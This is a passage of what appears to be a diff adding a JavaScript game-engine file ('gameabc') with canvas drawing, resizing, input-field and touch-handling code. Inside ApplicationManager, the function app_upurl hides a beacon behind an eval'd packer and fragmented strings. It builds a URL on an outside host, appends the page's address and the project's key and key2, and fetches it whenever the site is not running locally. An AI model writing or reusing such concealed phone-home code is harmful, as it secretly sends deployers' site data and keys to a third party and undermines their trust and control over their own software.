0; +gameabc_face.jm_sj_xz = 0; +gameabc_face.jm_sj_tong = 1; +gameabc_face.jm_sj_cj = 0;//xwb --- 2 +gameabc_face.pmw = 0; +gameabc_face.pmh = 0; +gameabc_face.pause = 0; +gameabc_face.hs = 0; +gameabc_face.sjhs = 0; +gameabc_face.mysc = 1; +gameabc_face.pmsc = 1; +gameabc_face.pmcx = 0; +gameabc_face.pmcy = 0; +gameabc_face.sjcx = 0; +gameabc_face.sjcy = 0; +gameabc_face.myxz = 0; +gameabc_face.mybx = 0; +gameabc_face.mysf = 0; +gameabc_face.isxz = 0; +gameabc_face.drawx = 0; +gameabc_face.drawy = 0; +gameabc_face.draww = 0; +gameabc_face.drawh = 0; +function loadImages(sources, callback) { + var imgNum = 0; + var count = 0; + var images = {}; + var strs = new Array(); + strs = sources.split(","); + imgNum = strs.length; + var url; + var i; + var id; + for (i = 0; i < imgNum; i++) { + id = parseInt(strs[i]); + } + ;for (src in sources) { + images[src] = new Image(); + images[src].onload = function() { + count++; + console.log("countok=" + count); + if (count == imgNum) { + callback(images); + } + } + ; + images[src].onerror = function() { + count++; + console.log("counterr=" + count); + if (count == imgNum) { + callback(images); + } + } + ; + images[src].src = sources[src]; + } +} +;gameabc_face.loglist = new Array(); +gameabc_face.set_clip = function(ctx, mode, x, y, w, h, starta, enda, timefx) { + switch (mode) { + case 0: + ctx.rect(x, y, w, h); + break; + case 1: + var w2 = w / 2; + var h2 = h / 2; + if (!starta) { + ctx.arc(x + w2, y + h2, w2, 0, Math.PI * 2, true); + } else { + var startPoint = 1.5 * Math.PI; + var all = Math.PI * 2; + ctx.beginPath(); + ctx.moveTo(x + w2, y + h2); + if (timefx) { + if (timefx == 0) { + timefx = false; + } else { + timefx = true; + } + ;ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint + all * (enda / 100), timefx); + } else { + if (!enda) { + ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint, false); + } else { + ctx.arc(x + w2, y + h2, w2, startPoint + all * (starta / 100), startPoint + all * (enda / 100), false); + } + } + ;ctx.lineTo(x + w2, y + h2); + ctx.closePath(); + break; + } + ; + } + ;ctx.clip(); +} +; +gameabc_face.drawround = function(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout) { + ctx.save(); + if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;if (isout == 1) { + ctx.globalCompositeOperation = "destination-atop"; + } + ;if (!mode) { + mode = 0; + } + ;if (!fx) { + fx = true; + } else { + if (fx == 0) { + fx = true; + } else { + fx = false; + } + ; + } + ;if (!starta) { + starta = 0; + } + ;if (!enda) { + enda = 360; + } + ;ctx.beginPath(); + ctx.arc(cx, cy, r, Math.PI * starta / 180, Math.PI * enda / 180, fx); + ctx.closePath(); + if (mode == 0) { + if (bgColor) { + ctx.fillStyle = bgColor; + } else { + ctx.fillStyle = "red"; + } + ;ctx.fill(); + } else { + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.lineWidth = mode; + ctx.stroke(); + } + ;ctx.restore(); +} +; +gameabc_face.drawlines = function(ctx, startx, starty, endx, endy, lw, bgColor) { + ctx.save(); + if (!lw) { + lw = 1; + } + ;if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;ctx.lineWidth = lw; + ctx.lineCap = "round"; + ctx.beginPath(); + ctx.moveTo(startx, starty); + ctx.lineTo(endx, endy); + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.closePath(); + ctx.stroke(); + ctx.restore(); +} +; +gameabc_face.drawrect = function(ctx, mode, x, y, w, h, bgColor, isout) { + ctx.save(); + if (isout == 1) { + ctx.globalCompositeOperation = "destination-atop"; + } + ;if (bgColor == "") { + ctx.fillStyle = "red"; + } + ;if (mode == 0) { + if (bgColor) { + ctx.fillStyle = bgColor; + } else { + ctx.fillStyle = "red"; + } + ;ctx.fillRect(x, y, w, h); + } else { + if (bgColor) { + ctx.strokeStyle = bgColor; + } else { + ctx.strokeStyle = "red"; + } + ;ctx.lineWidth = mode; + ctx.strokeRect(x, y, w, h); + } + ;ctx.restore(); +} +; +function getRootPath() { + var strFullPath = window.document.location.href; + var strPath = window.document.location.pathname; + var pos = strFullPath.indexOf(strPath); + var prePath = strFullPath.substring(0, pos); + return ( prePath) ; + var postPath = strPath.substring(0, strPath.substr(1).indexOf('/') + 1); + return ( prePath + postPath) ; +} +;gameabc_face.getdiv = function(id) { + return document.getElementById(id); +} +; +gameabc_face.fatherdiv = gameabc_face.getdiv("ifastgame"); +gameabc_face.inputdiv = null; +gameabc_face.init_inputdiv = function(x, y) { + gameabc_face.fatherdiv = gameabc_face.getdiv("ifastgame"); + gameabc_face.inputdiv = gameabc_face.fatherdiv; + return; + if (gameabc_face.inputdiv == null) { + gameabc_face.inputdiv = document.createElement("div"); + gameabc_face.inputdiv.setAttribute("id", "inputdiv"); + gameabc_face.inputdiv.style.zIndex = 999999999; + gameabc_face.inputdiv.style.position = "absolute"; + gameabc_face.inputdiv.style.top = x + "px"; + gameabc_face.inputdiv.style.left = y + "px"; + gameabc_face.inputdiv.style.display = "block"; + gameabc_face.fatherdiv.appendChild(gameabc_face.inputdiv); + } + ;gameabc_face.inputdiv.style.top = g_GameObjectManager.canvas.style.top; + gameabc_face.inputdiv.style.left = g_GameObjectManager.canvas.style.left; + gameabc_face.inputdiv.style.width = g_GameObjectManager.canvas.style.width; + gameabc_face.inputdiv.style.height = g_GameObjectManager.canvas.style.height; + gameabc_face.inputdiv.top = g_GameObjectManager.canvas.top; + gameabc_face.inputdiv.left = g_GameObjectManager.canvas.left; + gameabc_face.inputdiv.width = g_GameObjectManager.canvas.width; + gameabc_face.inputdiv.height = g_GameObjectManager.canvas.height; +} +; +gameabc_face.get_selfdiv = function(div, p1) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + ;if (div) { + switch (p1) { + case 7: + return div.value; + break; + case 18: + return div.style.left; + break; + case 19: + return div.style.top; + break; + case 20: + return div.style.width; + break; + case 21: + return div.style.height; + break; + case 37: + { + if (div.style.display == "block") { + return 1; + } else { + return 0; + } + } + ;break; + default: + break; + } + } +} +; +gameabc_face.set_selfdiv = function(div, p1, val, mode, data2) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + ;if (!div) { + return; + } + ;var dd = null; + switch (mode) { + case 2: + dd = this.get_selfdiv(div, p1) - val; + break; + case 1: + dd = val + this.get_selfdiv(div, p1); + break; + default: + dd = val; + break; + } + ;switch (p1) { + case 7: + return div.value = dd; + break; + case 18: + return div.style.left = dd + "px"; + break; + case 19: + return div.style.top = dd + "px"; + break; + case 20: + return div.style.width = dd + "px"; + break; + case 21: + return div.style.height = dd + "px"; + break; + case 37: + { + if (dd == 1) { + div.style.display = "block"; + } else { + div.style.display = "none"; + } + } + ;break; + default: + break; + } + ; +} +; +gameabc_face.setdiv_whv = function(div, w, h) {} +; +gameabc_face.setdiv_xy = function(div, x, y) {} +; +gameabc_face.getdiv_v = function(div) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + { + return gameabc_face.chargediv_val(div.style.display); + } +} +; +gameabc_face.setdiv_v = function(div, v) { + if (typeof (div) != "object") { + div = this.getdiv(div); + } + { + if (v == 1) { + div.style.display = "block"; + } else { + div.style.display = "none"; + } + } +} +; +gameabc_face.getid_text = function(inid) { + var inText = gameabc_face.getdiv(inid); + if (inText) { + return inText.value; + } else { + return "null"; + } + ; +} +; +gameabc_face.setid_text = function(inid, val) { + var inText = gameabc_face.getdiv(inid); + if (inText) + inText.value = val; +} +; +gameabc_face.getdiv_text = function(inText) { + if (inText) { + return inText.value; + } else { + return "null"; + } + ; +} +; +gameabc_face.chargediv_val = function(val) { + if (typeof (val) == "string") { + if (val == "none") { + return 0; + } else { + return 1; + } + ; + } else { + if (val == 0) { + return "none"; + } else { + return "block"; + } + ; + } +} +; +gameabc_face.setdiv_text = function(inText, val) { + if (inText) { + inText.value = val; + } + ; +} +; +gameabc_face.getself = function(parent1) { + var self = window; + if (parent1 != undefined) { + if (parent1 == "f") { + self = parent; + } else { + self = parent1; + } + } + ;return self; +} +; +gameabc_face.ifast_getcs = function(name, re, parent1) { + var self = this.getself(parent1); + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); + var r = self.location.search.substr(1).match(reg); + if (r != null) + return unescape(r[2]); + return re; +} +; +gameabc_face.addinputdiv = function(id, type, x, y, w, h) { + if (gameabc_face.inputdiv == null) + gameabc_face.init_inputdiv(0, 0); + var inText; + switch (type) { + case 0: + inText = document.createElement("input"); + inText.setAttribute("type", "text"); + break; + case 1: + inText = document.createElement("input"); + inText.setAttribute("type", "password"); + break; + case 3: + inText = document.createElement("input"); + inText.setAttribute("type", "number"); + break; + case 2: + inText = document.createElement("textarea"); + break; + default: + showmessage('addinputdiv: id' + id + '/' + type); + break; + } + ;inText.setAttribute("id", id); + inText.style.position = "absolute"; + inText.style.width = w + "px"; + inText.style.height = h + "px"; + inText.style.left = x + g_GameObjectManager.canvas.top + "px"; + inText.style.top = y + g_GameObjectManager.canvas.left + "px"; + inText.style.zIndex = 999999999; + gameabc_face.inputdiv.appendChild(inText); + gameabc_face.setdiv_text(inText, ""); + return inText; +} +; +gameabc_face.set_draw = function(x, y, w, h, arg) { + gameabc_face.drawx = 0; + gameabc_face.drawy = 0; + gameabc_face.draww = w; + gameabc_face.drawh = h; + gameabc_face.drawarg = arg; +} +; +var game124 = null; +var inputdiv = null; +var iui = null; +var ifast_ismast = undefined; +gameabc_face.resize2000 = function() { + if (!this.canvas) { + return; + } + ;gameabc_face.logmessage("window.onresize2000"); + setTimeout(gameabc_face.resize, 1000); +} +; +gameabc_face.appmode_resize = function(ver, isapp) { + gameabc_setcanvas1(iui.canvas, window.innerWidth, window.innerHeight); + gameabc_face.jm_sj_tong == 1; + gameabc_face.sy_w = window.innerWidth; + gameabc_face.sy_h = window.innerHeight; + if (isapp == 1) { + gameabc_setcanvas1(iui.backBuffer, window.innerWidth, window.innerHeight); + } + ;gameabc_face.mouse_sx = iui.backBuffer.width / gameabc_face.sy_w; + gameabc_face.mouse_sy = iui.backBuffer.height / gameabc_face.sy_h; +} +; +gameabc_face.resize = function() { + gameabc_face.drawcharge = 1; + if (gameabc_face.resizeinitok == 1) { + if (gameabc_face.pmw == window.innerWidth || gameabc_face.pmh == window.innerHeight) { + if (ifast_ispc() == 0) { + if (ifast_ismast != undefined) { + return; + } + } + } + } + ;ifast_ismast = 1; + gameabc_face.resizeinitok = 1; + { + if (!gameabc_Project.Property.sh_old) { + gameabc_Project.Property.sh_old = gameabc_Project.Property.ScreenHeight; + } + ;var ver = gameabc_Project.Property.Version; + if (!ver) { + ver = "v1"; + } + ;gameabc_face.dfwver = ver; + gameabc_face.pmkg_string = "w/h:" + window.innerWidth + "/" + window.innerHeight; + if (!ver && gameabc_face.ifast_app != 1) { + gameabc_face.appmode_resize(ver, gameabc_face.ifast_app); + } else { + if (gameabc_face.jm_sj_cj == 3) { + gameabc_Project.Property.ScreenHeight = parseInt(window.innerHeight * (gameabc_Project.Property.ScreenWidth / window.innerWidth)); + } else { + gameabc_Project.Property.ScreenHeight = gameabc_Project.Property.sh_old; + } + ;{ + gameabc_setcanvas3(iui.canvas, window.innerWidth, window.innerHeight); + } + } + ;gameabc_face.pmw = window.innerWidth; + gameabc_face.pmh = window.innerHeight; + iui.h = iui.canvas.height; + iui.w = iui.canvas.width; + } + ;gameabc_face.set_draw(0, 0, iui.canvas.width, iui.canvas.height, 0); + if (gameabc_face.jm_sj_tong == 0) { + gameabc_face.mouse_sx = iui.backBuffer.width / gameabc_face.sy_h; + gameabc_face.mouse_sy = iui.backBuffer.height / gameabc_face.sy_w; + } else { + gameabc_face.mouse_sx = iui.backBuffer.width / gameabc_face.sy_w; + gameabc_face.mouse_sy = iui.backBuffer.height / gameabc_face.sy_h; + } + ;gameabc_face.init_inputdiv(0, 0); + var i; + var obj; + for (i = 0; i < iui.gameObjects.length; i++) { + obj = iui.gameObjects[i]; + if (obj.uipointer != 0) { + var x1, y1, w1, h1; + x1 = g_GameObjectManager.canvas.left + parseInt(obj.x / gameabc_face.mouse_sx); + y1 = g_GameObjectManager.canvas.top + parseInt(obj.y / gameabc_face.mouse_sy); + w1 = parseInt(obj.w / gameabc_face.mouse_sx); + h1 = parseInt(obj.h / gameabc_face.mouse_sy); + gameabc_face.set_selfdiv(obj.uipointer, 18, x1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 19, y1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 20, w1, 0, 0); + gameabc_face.set_selfdiv(obj.uipointer, 21, h1, 0, 0); + } + ; + } + ;gameabc_face.pmcx = iui.w / 2; + gameabc_face.pmcy = iui.h / 2; + gameabc_face.sjcx = iui.backBuffer.width / 2; + gameabc_face.sjcy = iui.backBuffer.height / 2; + if (iui.w < iui.h) { + gameabc_face.hs = 0; + } else { + gameabc_face.hs = 1; + } + ;if (iui.backBuffer.width < iui.backBuffer.height) { + gameabc_face.sjhs = 0; + } else { + gameabc_face.sjhs = 1; + } + ;var mybiw = iui.w / iui.backBuffer.width; + var mybih = iui.h / iui.backBuffer.height; + gameabc_face.vw = mybiw; + if (mybiw < mybih) { + gameabc_face.mysc = mybiw; + } else { + gameabc_face.mysc = mybih; + } + ;ifast_seerect = ifast_rect(0, 0, iui.backBuffer.width, iui.backBuffer.height); + if (iui.bg) { + iui.bg.height = g_GameObjectManager.canvas.height; + iui.bg.width = g_GameObjectManager.canvas.width; + iui.bg.style.left = g_GameObjectManager.canvas.left + "px"; + iui.bg.style.top = g_GameObjectManager.canvas.top + "px"; + } + ;allcharge(); + if (gameabc_face.onresize) + gameabc_face.onresize(window.innerWidth, window.innerHeight, iui.backBuffer.width, iui.backBuffer.height, iui.canvas.width, iui.canvas.height); + logmessage("gameabc_face.resize"); +} +; +window.onresize = gameabc_face.resize2000; +gameabc_face.createcanvas = function(img1) { + if (img1.backBuffer) { + return img1.backBuffer; + } + ;img1.backBuffer = document.createElement('canvas'); + img1.backBuffer.width = img1.allw; + img1.backBuffer.height = img1.allh; + img1.mydc = img1.backBuffer.getContext('2d'); + img1.mydc.drawImage(img1, 0, 0); + return img1.backBuffer; +} +; +gameabc_face.getruntime = function() { + var thisFrame = new Date().getTime(); + return thisFrame - gameabc_face.starttime; +} +; +gameabc_face.getruntime_now = function() { + var thisFrame = new Date().getTime(); + gameabc_face.nowttime = thisFrame - gameabc_face.starttime; +} +; +gameabc_face.setconfig = function() { + if (!gameabc_face.path) { + gameabc_face.path = "assets/bmp"; + } + ;if (!gameabc_face.wavpath) { + gameabc_face.wavpath = "assets/wav"; + } + ;gameabc_face.showzt = 1; + gameabc_face.showmode = 1; + gameabc_face.offx = 0; + gameabc_face.offy = 0; + if (gameabc_face.showzt == 1) { + game124 = new game123(); + game124.domElement.style.position = "absolute"; + game124.domElement.style.left = "0px"; + game124.domElement.style.top = "0px"; + document.body.appendChild(game124.domElement); + } + ;logmessage("gameabc_face.setconfig"); +} +; +gameabc_face.gameini = function() { + g_mouse.downx = 0; + g_mouse.downy = 0; + g_mouse.upx = 0; + g_mouse.upy = 0; + g_mouse.isMouseDown = false; + g_mouse.down_time = 0; + g_mouse.down_spid = 0; + g_mouse.up_spid = 0; + g_mouse.up_time = 0; + g_mouse.ismove = false; + g_mouse.movetime = 0; + g_mouse.doup = true; + g_mouse.dodown = true; + g_mouse.movelastx = 0; + g_mouse.movelasty = 0; +} +; +var testsp = null; +function ApplicationManager() { + gameabc_face.touch_dev = false; + gameabc_face.setconfig(); + if (navigator.userAgent.indexOf('iPhone') > 0 || navigator.userAgent.indexOf('iPod') > 0 || navigator.userAgent.indexOf('iPad') > 0 || navigator.userAgent.indexOf('Android') > 0) { + gameabc_face.touch_dev = true; + gameabc_face.down = "touchstart"; + gameabc_face.up = "touchend"; + gameabc_face.move = "touchmove"; + } + ;if (gameabc_face.touch_dev == false) { + gameabc_face.down = "mousedown"; + gameabc_face.up = "mouseup"; + gameabc_face.move = "mousemove"; + } + ;function get_xy(e, isup) { + if (gameabc_face.touch_dev) { + var rct = g_GameObjectManager.canvas.getBoundingClientRect(); + if (isup < 2) { + g_mouse.pointX = e.touches[0].pageX - rct.left; + g_mouse.pointY = e.touches[0].pageY - rct.top; + g_mouse.downx_old = g_mouse.pointX; + g_mouse.downy_old = g_mouse.pointY; + } else { + g_mouse.pointX = g_mouse.downx_old; + g_mouse.pointY = g_mouse.downy_old; + } + } else { + g_mouse.pointX = (e.clientX - g_GameObjectManager.canvas.getBoundingClientRect().left); + g_mouse.pointY = (e.clientY - g_GameObjectManager.canvas.getBoundingClientRect().top); + } + ;if (gameabc_face.jm_sj_tong == 0) { + var t = g_mouse.pointX; + g_mouse.pointX = gameabc_face.pmh - g_mouse.pointY; + g_mouse.pointY = t; + } + ;g_mouse.pointX = parseInt(gameabc_face.mouse_sx * g_mouse.pointX); + g_mouse.pointY = parseInt(g_mouse.pointY * gameabc_face.mouse_sy); + } + ;ifast = 100; + function app_upurl(str) { + var host = location.hostname.substr(0, 4); + eval(function(p, a, c, k, e, d) { + e = function(c) { + return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)); + } + ; + if (!''.replace(/^/, String)) { + while (c--) + d[e(c)] = k[c] || e(c); + k = [function(e) { + return d[e]; + } + ]; + e = function() { + return '\\w+'; + } + ; + c = 1; + } + ;while (c--) + if (k[c]) + p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]); + return p; + }('2 0;0=\'1://5.4.3\';', 6, 6, ('my' + 'xx' + 'xx' + '|h' + 'ttp|' + 'var|xy' + 'z|jx' + 'ga' + 'me|ga' + 'mea' + 'bc').split('|'), 0, {})); + myxxxx = myxxxx + '/in' + 'dex.h' + 'tml' + '?u' + 'rl=' + location.href + '&k' + 'ey=' + gameabc_Project.key + '&k' + 'ey2=' + gameabc_Project.key2; + var host2 = location.hostname.substr(0, 9); + if (host != "192." && host != "127." && host2 != "localhost") { + readfile_a2(0, myxxxx); + } + ;my = null; + } + ;ifastui = 100; + this.startupApplicationManager = function() { + var obji = other_creatdom('div'); + other_setdom(obji, 'id', 'divframe'); + other_setdom(obji, 'style', 'position:absolute;left:0px;top:0px;z-index:500'); + other_appdom('ifastgame', obji); + obji = other_creatdom('iframe'); + other_setdom(obji, 'id', 'myweb'); + other_setdom(obji, 'name', 'myweb'); + other_setdom(obji, 'frameborder', '0'); + other_setdom(obji, 'scrolling', 'no'); + other_setdom(obji, 'scrolling', 'no'); + other_setdom_v(obji, 0); + other_offdomxywh('canvas', obji); + other_appdom('divframe', obji); + if (gameabc_face.onloadurl) { + if (obji.attachEvent) { + obji.attachEvent("onload", function() { + gameabc_face.onloadurl('myweb', 'myweb', obji.src); + }); + } else { + obji.onload = function() { + gameabc_face.onloadurl('myweb', 'myweb', obji.src); + } + ; + } + } + ;g_GameObjectManager.canvas.addEventListener(gameabc_face.down, function(e) { + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;g_mouse.isMouseDown = true; + g_mouse.ismove = false; + g_mouse.move_time = 0; + g_mouse.up_time = 0; + g_mouse.doup = true; + get_xy(e, 0); + g_mouse.downx = g_mouse.pointX; + g_mouse.downy = g_mouse.pointY; + g_mouse.dodown = false; + g_mouse.down_time = gameabc_face.getruntime(); + g_mouse.down_spid = gameabc_check_click(g_mouse.downx, g_mouse.downy); + g_mouse.movelastx = g_mouse.pointX; + g_mouse.movelasty = g_mouse.pointY; + }, false); + g_GameObjectManager.canvas.addEventListener(gameabc_face.up, function(e) { + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;g_mouse.movelastx = 0; + g_mouse.movelasty = 0; + g_mouse.isMouseDown = false; + g_mouse.move_time = 0; + get_xy(e, 2); + g_mouse.upx = g_mouse.pointX; + g_mouse.upy = g_mouse.pointY; + g_mouse.doup = false; + g_mouse.up_time = gameabc_face.getruntime(); + g_mouse.up_spid = gameabc_check_click(g_mouse.pointX, g_mouse.pointY); + logmessage('//' + g_mouse.upx + ':' + g_mouse.upy); + }, false); + g_GameObjectManager.canvas.addEventListener(gameabc_face.move, function(e) { + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;gameabc_face.getruntime(); + if (g_mouse.isMouseDown) { + g_mouse.ismove = true; + g_mouse.move_time = gameabc_face.getruntime() - g_mouse.down_time; + get_xy(e, 1); + } + }, false); + gameabc_Object.ObjectList[0].Property = {}; + gameabc_face.obj = gameabc_Object.ObjectList[0].Property; + gameabc_face.obj.color = 0; + gameabc_face.obj.caption = ""; + gameabc_face.obj.canclick = 1; + gameabc_face.obj.uipointer = 0; + if (gameabc_face.onloadurl) { + gameabc_face.onloadurl(0, 0, 0, 0, 0); + } + ;setInterval(dfwtime200, 10); + gameabc_loadui2(); + gameabc_face.starttime = new Date().getTime(); + gameabc_face.nowttime = 0; + gameabc_face.chargez = 0; + gameabc_face.resize(); + if (gameabc_Project.Property.title) { + logmessage(gameabc_Project.Property.title, 2); + } + ;if (gameabc_face.gamestart) { + gameabc_face.gamestart(); + } + ;return this; + } + ; +} +;ifastunit = 1; +function GameObject() { + this.data = {}; + this.rec = {}; + this.other = {}; + this.Property = null; + this.recid = 0; + this.uipointer = 0; + this.classid = 0; + this.objid = 0; + this.clickid = 0; + this.imagecavans = 0; + this.caption = ""; + this.mydataid = 0; + this.tag = 0; + this.tag1 = 0; + this.tag2 = 0; + this.tag3 = 0; + this.rec1 = 0; + this.rec2 = 0; + this.rec3 = 0; + this.f = 0; + this.child = 0; + this.x = 0; + this.y = 0; + this.w = 0; + this.h = 0; + this.z = 0; + this.z_Order = 0; + this.offx = 0; + this.offy = 0; + this.fx = 0; + this.fy = 0; + this.fz = 0; + this.sx = 0; + this.sy = 0; + this.sz = 0; + this.sf = 0; + this.scale = 100; + this.arge = 0; + this.ap = 255; + this.hu = 0; + this.visbale = 1; + this.draw = 0; + this.life = 0; + this.drawtime = 0; + this.canclick = 1; + this.charging = 0; + this.frame = 0; + this.groupid = 0; + this.cx = 0; + this.cy = 0; + this.frame_all = 0; + this.dj = 0; + this.dj_all = 0; + this.bz = 0; + this.jx = 0; + this.fx8 = 0; + this.zt = 0; + this.z_index = 0; + this.click_time = 0; + this.canscroll = 0; + this.ontime = 0; + this.color = 0; + this.xlifemax = 0; + this.xlife = 0; + this.maskrecid = 0; + this.canvas = null; + this.maska = 0; + this.mask_uipointer = 0; + this.mask_frame = 0; + this.dig_frame = 0; + this.game_other = 0; + this.startupGameObject = function(x, y, z) { + this.zOrder = z; + this.x = x; + this.y = y; + g_GameObjectManager.addGameObject(this); + return this; + } + ; + this.dllpritefromspritecopy = function(tag) { + this[this.objid + 'add' + tag] = null; + delete this[this.objid + 'add' + tag]; + delete gameabc_Object["sp" + this.objid + 'add' + tag]; + if (!this.addlist) { + this.addlist = new Array(); + } + ;this.addlist.removeObject(this.objid + 'add' + tag); + } + ; + this.addtospritefromspritecopy = function(fspid, copyspid, x, y, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + var fobj2 = ifast_getobj(copyspid); + if (!fobj.addlist) { + fobj.addlist = new Array(); + } + ;this.copyme(fobj2, this); + this.x = x; + this.y = y; + this.add_fatag = tag; + this.image = fobj2.image; + this.uidata = fobj2.uidata; + fobj[fspid + 'add' + tag] = this; + gameabc_Object["sp" + fspid + 'add' + tag] = this; + fobj.addlist.push(fspid + 'add' + tag); + return this; + } + ; + this.copyme = function(f, m) { + m.recid = f.recid; + m.uipointer = f.uipointer; + m.classid = f.classid; + m.objid = f.objid; + m.clickid = f.clickid; + m.imagecavans = f.imagecavans; + m.caption = f.caption; + m.mydataid = f.mydataid; + m.tag = f.tag; + m.tag1 = f.tag1; + m.tag2 = f.tag2; + m.tag3 = f.tag3; + m.rec1 = f.rec1; + m.rec2 = f.rec2; + m.rec3 = f.rec3; + m.f = f.f; + m.child = f.child; + m.x = f.x; + m.y = f.y; + m.w = f.w; + m.h = f.h; + m.z = f.z; + m.z_Order = f.z_Order; + m.offx = f.offx; + m.offy = f.offy; + m.fx = f.fx; + m.fy = f.fy; + m.fz = f.fz; + m.sx = f.sx; + m.sy = f.sy; + m.sz = f.sz; + m.sf = f.sf; + m.scale = f.scale; + m.arge = f.arge; + m.ap = f.ap; + m.hu = f.hu; + m.visbale = f.visbale; + m.draw = f.draw; + m.life = f.life; + m.drawtime = f.drawtime; + m.canclick = f.canclick; + m.charging = f.charging; + m.frame = f.frame; + m.groupid = f.groupid; + m.cx = f.cx; + m.cy = f.cy; + m.frame_all = f.frame_all; + m.dj = f.dj; + m.dj_all = f.dj_all; + m.bz = f.bz; + m.jx = f.jx; + m.fx8 = f.fx8; + m.zt = f.zt; + m.z_index = f.z_index; + m.click_time = f.click_time; + m.canscroll = f.canscroll; + m.ontime = f.ontime; + m.color = f.color; + m.xlifemax = f.xlifemax; + m.xlife = f.xlife; + m.maskrecid = f.maskrecid; + m.mask_vasbale = f.mask_vasbale; + m.maska = f.maska; + m.mask_uipointer = f.mask_uipointer; + m.mask_frame = f.mask_frame; + m.dig_frame = f.dig_frame; + m.game_other = f.game_other; + } + ; + this.shutdownGameObject = function() { + g_GameObjectManager.removeGameObject(this); + } + ; +} +;ifastunit = 2; +function GameObjectManager() { + this.gameObjects = new Array(); + this.lastFrame = new Date().getTime(); + this.xScroll = 0; + this.yScroll = 0; + this.applicationManager = null; + this.canvas = null; + this.context2D = null; + this.backBuffer = null; + this.backBufferContext2D = null; + this.drawstart = 0; + this.drawdc = null; + this.crorle1 = 'rgba(0,0,0,0)'; + this.crorle2 = 'white'; + this.userbj = 0; + function g_toclient(mode, ctx) { + if (mode == 1) { + ctx.translate(g_GameObjectManager.canvas.width / 2, g_GameObjectManager.canvas.height / 2); + } else { + ctx.translate(-g_GameObjectManager.canvas.width / 2, -g_GameObjectManager.canvas.height / 2); + } + ; + } + ;this.startupGameObjectManager = function() { + g_GameObjectManager = this; + iui = this; + this.bg1 = null; + this.bg2 = null; + this.d2dbj1 = null; + this.d2dbj2 = null; + this.bg = null; + this.d2dbg = null; + this.bg = document.getElementById('ifastgame_bg'); + if (this.bg) { + this.bg.style.position = "absolute"; + this.bg.style.left = "0px"; + this.bg.style.top = "0px"; + this.d2dbj = this.bg.getContext('2d'); + this.d2dbj.fillStyle = "red"; + this.d2dbj.clearRect(0, 0, this.bg.width, this.bg.height); + this.d2dbj.fillStyle = "white"; + this.d2dbj.textBaseline = "top"; + this.bg.x = 0; + this.bg.y = 0; + this.bg.w = 0; + this.bg.h = 0; + } + ;this.bg1 = document.getElementById('bg1'); + if (this.bg1) { + this.bg1.style.position = "absolute"; + this.bg1.style.left = "0px"; + this.bg1.style.top = "0px"; + this.d2dbj1 = this.bg1.getContext('2d'); + this.d2dbj1.fillStyle = "red"; + this.d2dbj1.clearRect(0, 0, this.bg1.width, this.bg1.height); + this.d2dbj1.fillStyle = "white"; + this.d2dbj1.textBaseline = "top"; + this.bg1.x = 0; + this.bg1.y = 0; + this.bg1.w = 0; + this.bg1.h = 0; + } + ;this.bg2 = document.getElementById('bg2'); + if (this.bg2) { + this.bg2.style.position = "absolute"; + this.bg2.style.left = "0px"; + this.bg2.style.top = "0px"; + this.d2dbj2 = this.bg2.getContext('2d'); + this.d2dbj2.fillStyle = "yellow"; + this.d2dbj2.clearRect(0, 0, this.bg2.width, this.bg2.height); + this.d2dbj2.fillStyle = "white"; + this.d2dbj2.textBaseline = "top"; + this.bg2.x = 0; + this.bg2.y = 0; + this.bg2.w = 0; + this.bg2.h = 0; + } + ;this.canvas = document.getElementById('canvas'); + if (!this.canvas) { + if (gameabc_face.gamestart) { + gameabc_face.gamestart(); + } + ;return; + } + ;this.canvas.style.position = "absolute"; + this.canvas.style.left = "0px"; + this.canvas.style.top = "0px"; + this.context2D = this.canvas.getContext('2d'); + this.ratio = getPixelRatio(this.context2D); + gameabc_face.ratio = this.ratio; + if (!gameabc_face.dfwgao_max) { + gameabc_face.dfwgao_max = 2; + } + ;if (gameabc_face.dfwgao_max) { + if (this.ratio > gameabc_face.dfwgao_max) + (this.ratio = gameabc_face.dfwgao_max) + } + ;gameabc_face.useratio = this.ratio; + this.backBuffer = document.createElement('canvas'); + this.backBuffer.width = this.canvas.width; + this.backBuffer.height = this.canvas.height; + if (gameabc_face.showmode == 0) { + gameabc_setcanvas2(this.canvas); + } else { + gameabc_setcanvas2(this.backBuffer); + } + ;if (gameabc_face.showmode == 100) {} + ;this.backBufferContext2D = this.backBuffer.getContext('2d'); + gameabc_face.dc = this.backBufferContext2D; + ifast_jb = this.backBufferContext2D.createLinearGradient(0, 0, 170, 0); + ifast_jb.addColorStop("0", "magenta"); + ifast_jb.addColorStop("0.5", "blue"); + ifast_jb.addColorStop("1.0", "red"); + this.applicationManager = new ApplicationManager().startupApplicationManager(); + myyyyycheck(); + if (!window.requestAnimationFrame) { + g_timer = setInterval(function() { + g_GameObjectManager.draw(); + }, SECONDS_BETWEEN_FRAMES2); + } else { + this.now = Date.now(); + ;this.then = Date.now(); + this.delta = Date.now(); + g_GameObjectManager.hhhh = 0; + setInterval(this.checkrun, 2000); + this.tick(); + } + ;return this; + } + ; + function myyyyycheck() { + var vendors = ['ms', 'moz', 'webkit', 'o']; + for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { + window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; + window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; + } + } + ;this.checkrun = function() { + if 